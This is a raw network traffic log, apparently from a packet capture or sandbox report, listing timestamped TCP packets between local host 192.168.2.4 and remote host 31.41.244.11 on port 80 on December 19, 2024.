Dec 19, 2024 14:10:12.375931978 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.378418922 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.378516912 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.378520966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.378650904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.381063938 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.381108999 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.381181002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.381226063 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.383807898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.383891106 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.383893967 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.384032965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.386384010 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.386471987 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.386518955 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.386564016 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.389050961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.389096022 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.389137030 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.389203072 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.391671896 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.391716957 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.392019033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.392085075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.394299030 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.394347906 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.394406080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.394519091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.396980047 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.397042036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.397072077 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.397130966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.399631977 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.399694920 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.399739981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.399784088 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.402327061 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.402442932 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.402486086 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.402538061 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.404967070 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.405036926 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.405139923 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.405236006 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.407589912 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.407639027 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.407679081 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.407737017 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.410279989 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.410337925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.410366058 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.410417080 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.412877083 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.413050890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.413057089 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.413108110 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.415523052 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.415648937 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.415718079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.415718079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.418204069 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.418312073 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.418350935 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.418401003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.420794010 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.420912981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.420933962 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.421034098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.423434019 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.423517942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.423531055 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.423568010 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.552485943 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.552582026 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.552603006 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.552649975 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.553534031 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.553585052 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.553615093 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.553638935 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.555979967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.556030989 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.556094885 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.556159973 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.558506012 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.558564901 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.558631897 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.558811903 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.560942888 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.560990095 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.561094046 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.561219931 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.563364029 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.563462973 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.563478947 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.563523054 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.565834999 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.565968990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.565999031 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.566040039 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.568346977 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.568437099 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.568572998 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.568572998 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.570751905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.570822954 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.570862055 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.570920944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.573185921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.573235989 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.573303938 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.573492050 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.575668097 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.575766087 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.575834036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.575879097 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.578114986 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.578233957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.578253984 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.578301907 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.580579996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.580670118 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.580698967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.580795050 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.583086014 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.583165884 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.583268881 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.583334923 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.585494995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.585675001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.585702896 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.585715055 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.588038921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.588115931 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.588124990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.588195086 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.590416908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.590496063 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.590553999 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.590598106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.592993021 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.593071938 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.593096018 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.593168020 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.595355988 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.595416069 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.595459938 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.595855951 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.597969055 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.598072052 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.598084927 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.598162889 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.600286961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.600378036 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.600402117 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.600547075 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.602777958 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.602840900 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.602884054 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.602941990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.605318069 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.605374098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.605462074 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.605623007 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.607646942 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.607750893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.607780933 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.607827902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.610095978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.610169888 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.610295057 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.610295057 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.612551928 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.612638950 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.612853050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.613080025 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.614995003 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.615065098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.615093946 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.615142107 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.617535114 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.617602110 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.617609024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.617666960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.620081902 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.620160103 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.620162964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.620213985 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.622412920 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.622550011 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.622550964 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.622972965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.624994993 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.625040054 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.625062943 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.625118971 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.627485037 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.627599001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.627619028 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.627661943 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.629802942 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.629884005 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.629925013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.630042076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.632421017 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.632529020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.632616997 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.632616997 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.634793043 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.634871960 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.634911060 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.634974003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.637236118 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.637361050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.637377024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.637422085 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.639755964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.639787912 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.639803886 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.639846087 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.642229080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.642309904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.642328978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.642390966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.644625902 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.644680977 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.644812107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.644898891 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.647002935 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.647070885 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.647089958 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.647134066 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.649802923 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.649873018 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.650134087 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.650199890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.652013063 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.652072906 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.652086973 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.652154922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.654470921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.654602051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.654671907 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.654810905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.656934023 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.656997919 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.657115936 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.657115936 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.659446001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.659529924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.659601927 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.659703970 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.661967039 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.662192106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.744353056 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.744441032 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.744446993 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.744497061 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.745409966 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.745477915 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.745537043 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.745729923 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.747627020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.747709990 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.747740984 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.747787952 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.749820948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.749900103 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.750025988 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.750128031 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.752046108 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.752106905 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.752127886 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.752260923 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.754189014 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.754259109 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.754282951 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.754331112 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.757055044 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.757138014 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.757157087 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.757191896 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.758449078 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.758542061 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.758548021 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.758692980 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.760412931 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.760488033 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.760534048 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.760608912 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.762404919 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.762470961 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.762522936 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.762582064 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.764379978 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.764400005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.764478922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.764478922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.766369104 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.766431093 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.766443968 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.766498089 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.768292904 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.768412113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.768423080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.768552065 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.770190954 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.770354033 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.770373106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.770402908 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.772092104 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.772171021 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.772224903 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.772294998 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.774091959 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.774147034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.774173975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.774256945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.775844097 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.775902987 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.776015043 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.776115894 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.777689934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.777755976 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.777848005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.777976036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.779495001 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.779582024 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.779623985 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.779709101 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.781331062 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.781454086 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.781472921 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.781539917 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.783272028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.783322096 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.783337116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:12.783396006 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:12.785131931 CET	80	49754	31.41.244.11	192.168.2.4
